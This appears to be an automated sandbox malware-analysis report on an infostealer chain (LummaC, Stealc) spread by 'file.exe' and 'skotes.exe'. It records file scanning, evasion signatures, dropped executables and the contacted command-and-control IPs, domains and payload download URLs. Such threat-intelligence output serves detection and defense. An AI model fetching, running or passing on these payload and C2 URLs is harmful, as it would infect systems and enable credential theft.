Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWZOQIFCAN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\QEURJOJQOH Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\QEURJOJQOH Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\SNIPGPPREP Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BQJUWOYRTO Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BQJUWOYRTO Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BXAJUJAOEO Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DQOFHVHTMG Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\EVCMENBQHP Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LHEPQPGEWF Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LHEPQPGEWF Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\OVWVVIANZH Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWZOQIFCAN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\QEURJOJQOH Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\SNIPGPPREP Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\WHZAGPPPLA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ZUYYDJDFVF Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BQJUWOYRTO Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BXAJUJAOEO Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DQOFHVHTMG Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\EVCMENBQHP Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LHEPQPGEWF Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\MOCYNWGDZO Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\OVWVVIANZH Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\QEURJOJQOH Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\QEURJOJQOH Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\EVCMENBQHP Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\WHZAGPPPLA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DQOFHVHTMG Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\OVWVVIANZH Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\QEURJOJQOH Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ZUYYDJDFVF Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\MOCYNWGDZO Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ZUYYDJDFVF Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ZUYYDJDFVF Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\QEURJOJQOH Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\SNIPGPPREP Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DQOFHVHTMG Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\BQJUWOYRTO Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\DQOFHVHTMG Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\BQJUWOYRTO Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\EVCMENBQHP Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\QEURJOJQOH Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\WHZAGPPPLA Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\BQJUWOYRTO Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\BQJUWOYRTO Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\BXAJUJAOEO Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\DQOFHVHTMG Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\EVCMENBQHP Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\LHEPQPGEWF Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\PWZOQIFCAN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\QEURJOJQOH Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\QEURJOJQOH Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\BQJUWOYRTO Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\MOCYNWGDZO Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\MOCYNWGDZO Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\PWZOQIFCAN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\QEURJOJQOH Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\WHZAGPPPLA Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\ZUYYDJDFVF Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\LHEPQPGEWF Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\MOCYNWGDZO Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\WHZAGPPPLA Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\EVCMENBQHP Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\EVCMENBQHP Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Directory queried: C:\Users\user\Documents\QEURJOJQOH Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 11.3.skotes.exe.19e3ba0.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000003.2249103962.00000000019F2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2249053450.00000000019ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1550531909.0000000001109000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2194128848.00000000019EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000002.2631387587.0000000000726000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 7444, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: skotes.exe PID: 4308, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 9de8348ea3.exe PID: 7264, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected LummaC Stealer
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: skotes.exe PID: 4308, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: Process Memory Space: file.exe PID: 7444, type: MEMORYSTR
Yara detected Stealc
Source: Yara match File source: 26.2.cc1af330ba.exe.5a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001A.00000002.2630286475.00000000005A1000.00000040.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000003.2613988811.0000000005000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2643463076.000000000148C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1544853 Sample: file.exe Startdate: 29/10/2024 Architecture: WINDOWS Score: 100 74 thumbystriw.store 2->74 76 presticitpo.store 2->76 78 7 other IPs or domains 2->78 90 Suricata IDS alerts for network traffic 2->90 92 Found malware configuration 2->92 94 Malicious sample detected (through community Yara rule) 2->94 96 17 other signatures 2->96 8 skotes.exe 2 38 2->8         started        13 file.exe 2 2->13         started        15 axplong.exe 2->15         started        17 3 other processes 2->17 signatures3 process4 dnsIp5 80 185.215.113.43, 49979, 49980, 49982 WHOLESALECONNECTIONSNL Portugal 8->80 82 31.41.244.11 AEROEXPRESS-ASRU Russian Federation 8->82 56 C:\Users\user\AppData\...\a55050ee6f.exe, PE32 8->56 dropped 58 C:\Users\user\AppData\...\90f56e27b8.exe, PE32 8->58 dropped 60 C:\Users\user\AppData\...\9de8348ea3.exe, PE32 8->60 dropped 72 10 other malicious files 8->72 dropped 142 Creates multiple autostart registry keys 8->142 144 Hides threads from debuggers 8->144 146 Injects a PE file into a foreign processes 8->146 19 skotes.exe 2 8->19         started        23 8301009305.exe 8->23         started        25 9de8348ea3.exe 8->25         started        35 4 other processes 8->35 84 185.215.113.16, 49873, 49981, 49983 WHOLESALECONNECTIONSNL Portugal 13->84 86 necklacedmny.store 188.114.96.3, 443, 49721, 49727 CLOUDFLARENETUS European Union 13->86 62 C:\Users\user\...\M20I1ZOZUN9VGSWFO63POXM.exe, PE32 13->62 dropped 64 C:\...\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe, PE32 13->64 dropped 148 Query firmware table information (likely to detect VMs) 13->148 150 Tries to evade debugger and weak emulator (self modifying code) 13->150 152 Tries to detect virtualization through RDTSC time measurements 13->152 158 2 other signatures 13->158 27 M20I1ZOZUN9VGSWFO63POXM.exe 4 13->27         started        29 F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe 9 1 13->29         started        88 cdn.discordapp.com 162.159.129.233 CLOUDFLARENETUS United States 15->88 66 C:\Users\user\AppData\...\69f64d774a.exe, PE32 15->66 dropped 68 C:\Users\user\AppData\...\cc1af330ba.exe, PE32 15->68 dropped 70 C:\Users\user\AppData\Local\...\random[2].exe, PE32 15->70 dropped 154 Tries to detect sandboxes / dynamic malware analysis system (registry check) 15->154 156 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 15->156 31 cc1af330ba.exe 15->31         started        33 69f64d774a.exe 15->33         started        file6 signatures7 process8 file9 48 C:\Users\...\SWB92CTM4OIX4M9DCKIEYGOPF.exe, PE32 19->48 dropped 50 C:\Users\user\...\BJD5F4VU6P78HSX8.exe, PE32 19->50 dropped 98 Query firmware table information (likely to detect VMs) 19->98 100 Found many strings related to Crypto-Wallets (likely being stolen) 19->100 102 Tries to harvest and steal ftp login credentials 19->102 37 BJD5F4VU6P78HSX8.exe 19->37         started        40 SWB92CTM4OIX4M9DCKIEYGOPF.exe 19->40         started        52 C:\Users\user\AppData\Local\...\axplong.exe, PE32 23->52 dropped 104 Multi AV Scanner detection for dropped file 23->104 116 2 other signatures 23->116 42 axplong.exe 23->42         started        118 3 other signatures 25->118 54 C:\Users\user\AppData\Local\...\skotes.exe, PE32 27->54 dropped 106 Antivirus detection for dropped file 27->106 108 Detected unpacking (changes PE section rights) 27->108 110 Machine Learning detection for dropped file 27->110 44 skotes.exe 27->44         started        120 5 other signatures 29->120 112 Tries to detect sandboxes and other dynamic analysis tools (window names) 31->112 114 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 31->114 122 4 other signatures 35->122 46 BitLockerToGo.exe 35->46         started        signatures10 process11 signatures12 124 Tries to detect sandboxes / dynamic malware analysis system (registry check) 37->124 126 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 37->126 128 Multi AV Scanner detection for dropped file 42->128 130 Tries to evade debugger and weak emulator (self modifying code) 42->130 132 Hides threads from debuggers 42->132 134 Antivirus detection for dropped file 44->134 136 Detected unpacking (changes PE section rights) 44->136 138 Machine Learning detection for dropped file 44->138 140 2 other signatures 44->140
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.215.113.43
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
162.159.129.233
 cdn.discordapp.com United States
13335 CLOUDFLARENETUS false
188.114.96.3
 necklacedmny.store European Union
13335 CLOUDFLARENETUS true
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
31.41.244.11
 unknown Russian Federation
61974 AEROEXPRESS-ASRU false

Contacted Domains

Name IP Active
s-part-0017.t-0009.t-msedge.net 13.107.246.45 true
cdn.discordapp.com 162.159.129.233 true
necklacedmny.store 188.114.96.3 true
presticitpo.store unknown unknown
thumbystriw.store unknown unknown
time.windows.com unknown unknown
crisiwarny.store unknown unknown
fadehairucw.store unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.215.113.43/Zu7JuNko/index.php true
  • URL Reputation: phishing
 unknown
http://185.215.113.206/6c4adf523b719729.php true
    		unknown
    goalyfeastz.site true
      		unknown
      seallysl.site true
        		unknown
        dilemmadu.site true
          		unknown
          contemteny.site true
            		unknown
            opposezmny.site true
              		unknown
              http://185.215.113.16/luma/random.exe true
                		unknown
                https://cdn.discordapp.com/attachments/1286706039475015741/1300800513197211749/Set-up.exe?ex=67222862&is=6720d6e2&hm=d01a7bee1160eeac6493be73ac5a9fb5606137c43133be4b96f4d7c4370940c5& false
                  		unknown
                  servicedny.site true
                    		unknown
                    https://necklacedmny.store/api true
                      		unknown